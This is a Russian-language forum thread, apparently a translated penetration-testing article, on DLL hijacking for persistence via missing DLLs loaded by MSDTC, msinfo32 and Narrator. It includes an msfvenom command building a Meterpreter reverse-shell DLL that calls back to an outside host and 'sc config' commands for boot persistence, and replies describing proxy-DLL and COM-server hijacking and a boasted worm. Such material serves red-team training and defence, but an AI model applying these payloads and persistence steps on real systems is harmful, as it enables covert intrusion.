Статья DLL Hijacking

Zer0must2b

Zer0must2b

Green Team
23.06.2019
242
78
Когда программа запускается, несколько DLL загружаются в область памяти ее процесса. Windows ищет библиотеки DLL, необходимые для процесса, просматривая системные папки в определенном порядке. Перехват порядка поиска может использоваться в сценариях «красных» для определения возможности и сохранения.

Кроме того, в отчетах показаны распространенные вредоносные программы, которые пытаются маскироваться под DLL, отсутствуя в процессе Windows, чтобы выполнить произвольный код и остаться скрытыми. Плоскость атаки в отношении кражи DLL огромна и зависит от версии операционной системы и установленного программного обеспечения. Однако некоторые из наиболее заметных, которые можно использовать в Windows 7 и Windows 10, описаны в этой статье.

MSDTC
The Distributed Transaction Coordinator - это служба Windows, отвечающая за координацию транзакций между базами данных (SQL Server) и веб-серверами. При запуске этой службы пытается загрузить следующие три DLL-файлы из System32.

Код:
oci.dll
SQLLib80.dll
xa80.dll
Они определены в следующем разделе реестра:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

persistence-dll-hijacking-oci-dll-registry-key.png

Ключ реестра - oci.dll

В установках Windows по умолчанию « oci.dll » отсутствует в папке System32. Это дает возможность внедрить в эту папку произвольную библиотеку DLL с таким же именем (требуются права администратора) для выполнения вредоносного кода. Утилита Metasploit «msfvenom» может генерировать файлы DLL, которые будут содержать полезную нагрузку.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.13 LPORT=8888 -f dll > pentestlab.dll

persistence-dll-hijacking-metasploit-dll.png

Создать произвольную DLL

Службу координатора распределенных транзакций можно запустить из службы Windows или выполнив следующую команду из оболочки с повышенными привилегиями:
net start msdtc

persistence-dll-hijacking-distributed-transaction-coordinator-service.png

Служба координатора распределенных транзакций

Когда процесс запускается, запускается произвольная DLL, и открывается сеанс Meterpreter с привилегиями сетевой службы.

persistence-dll-hijacking-oci-dll-meterpreter.png

Meterpreter - oci DLL

Просмотр процесса «msdtc.exe» в Process Explorer проверит, что DLL была загружена в процесс.

persistence-dll-hijacking-oci-dll-process-explorer.png

Process Explorer - oci.dll

Разрешения могут быть изменены на Администратора, если из командной строки с повышенными правами выполняется следующее.
msdtc -install
persistence-dll-hijacking-msdtc-install.png

msdtc -install

Выполнение «getuid» из сеанса Meterpreter проверит, что процесс, который он сейчас выполняет под «pentestlab», является локальным администратором.

persistence-dll-hijacking-msdtc-administrator-privileges.png

msdtc - привилегии администратора

Служба «msdtc» не настроена на запуск при загрузке по умолчанию, поскольку тип запуска установлен на «Ручной». Конфигурирование службы для автоматического запуска при загрузке загрузит произвольную DLL и создаст постоянство в системе.

Код:
sc qc msdtc
sc config msdtc start= auto
persistence-dll-hijacking-distributed-transaction-coordinator-service-auto-start.png

Persistence – Distributed Transaction Coordinator

MSInfo
Адам написал в своем блоге в 2013 году о который является техникой, основанной на загрузке произвольных библиотек DLL из процесса Windows, в которых отсутствуют определенные библиотеки DLL. Microsoft System Information Tool отвечает за сбор информации об оборудовании, программном обеспечении и компонентах системы. В современных версиях Windows, таких как 8.1 и 10, этот процесс пытается загрузить недостающую DLL из System32, которая называется «fveapi.dll». Установка в этот каталог вредоносной библиотеки DLL с таким же именем приведет к загрузке библиотеки DLL в процесс «msinfo32.exe».

persistence-dll-hijacking-msinfo-process-explorer.png

msinfo - Process Explorer

Сеанс Meterpreter с PID 4496 дочерним процессом «msinfo32.exe».

persistence-dll-hijacking-msinfo-meterpreter.png

msinfo - Meterpreter

Narrator
Microsoft Narrator - это приложение для чтения с экрана для сред Windows. Адам обнаружил, что DLL, связанная с настройками локализации, отсутствует (MSTTSLocEnUS.DLL) и может также использоваться для выполнения произвольного кода. DLL отсутствует в следующем месте:

C:\Windows\System32\Speech\Engines\TTS\MSTTSLocEnUS.DLL

persistence-dll-hijacking-narrator-dll.png

Narrator DLL

При запуске процесса «Narrator.exe» в этот процесс загружается DLL, как это видно из Process Explorer.

persistence-dll-hijacking-narrator-dll-process-explorer.png

Narrator DLL Process Explorer


Перевод:
 
RfvCode

RfvCode

New member
17.01.2020
2
1
Зачем эта тема, если переводить страницу гугл переводчиком (справа в верхнем углу), то перевод такой-же
 
viktor plutt

viktor plutt

Заблокирован
13.03.2020
17
1
Все это конечно весело, но если у меня есть физический доступ у компу жертвы, да еще с правами админа, то я найду 20 способов как его затроянить. Что касается внедрения длл-лок, то есть хорошая либа msimg32.dll ( оригинальные размер 8 кб ) ее используют многие проги - я ее просто переписал и пользуюсь когда нужно. Кроме того очень просто внедрять длл СОМ - серверы. И еще можно написать длл сервис который грузиться в процесс secrvices. И на закуску - можно использовать либу Detours и внедрить свою длл-ку в в любой файл. Во всех этих случаях длл-ка будет сидеть в каком-либо процессе и якобы не видна. У меня был прикольный червяк который прописывался в системе как прокси ко всем СОМ серверам в реестре и когда его антивир удалял по сигнатуре вся винда накрывалась медным тазом;)
 
  • Нравится
Реакции: Qx_ Bit и H11
M

MsLacota

Member
06.03.2020
8
0
Все это конечно весело, но если у меня есть физический доступ у компу жертвы, да еще с правами админа, то я найду 20 способов как его затроянить. Что касается внедрения длл-лок, то есть хорошая либа msimg32.dll ( оригинальные размер 8 кб ) ее используют многие проги - я ее просто переписал и пользуюсь когда нужно. Кроме того очень просто внедрять длл СОМ - серверы. И еще можно написать длл сервис который грузиться в процесс secrvices. И на закуску - можно использовать либу Detours и внедрить свою длл-ку в в любой файл. Во всех этих случаях длл-ка будет сидеть в каком-либо процессе и якобы не видна. У меня был прикольный червяк который прописывался в системе как прокси ко всем СОМ серверам в реестре и когда его антивир удалял по сигнатуре вся винда накрывалась медным тазом;)
Не могли бы вы в доступной форме и в подробностях расписать как написать такую dll, так что бы она дёргала необходимые функции из настоящей dll и давала их вызываемой службе, то есть типа прокси что бы была.
 
viktor plutt

viktor plutt

Заблокирован
13.03.2020
17
1
Не могли бы вы в доступной форме и в подробностях расписать как написать такую dll, так что бы она дёргала необходимые функции из настоящей dll и давала их вызываемой службе, то есть типа прокси что бы была.
все это очевидно для любого кто хоть раз писал дллку
1. по Detours все подробно написано в хелпе
2. в общем случае переименовываешь оригинальную, делаешь свою дллку в дефайле опредиляешь все функции оригинальной, а в реализации каждой функции вызываешь функции из переименованной оригинальной.
3. для создания СОМ серверов я использую свою либу в которой реализовано ядро СОМ функции DllGetClassObject DllCanUnloadNow DllRegister\UnregisterServer интерфейсы IUnknown IClassFactory IDispatch. Берем оригинальную таблицу типов по ней пишем реализацию интерфейса с переадресацией на оригинал. В VS есть ATL при ее помощи можно создавать прокси либы очень просто.
 
  • Нравится
Реакции: MsLacota
Мы в соцсетях: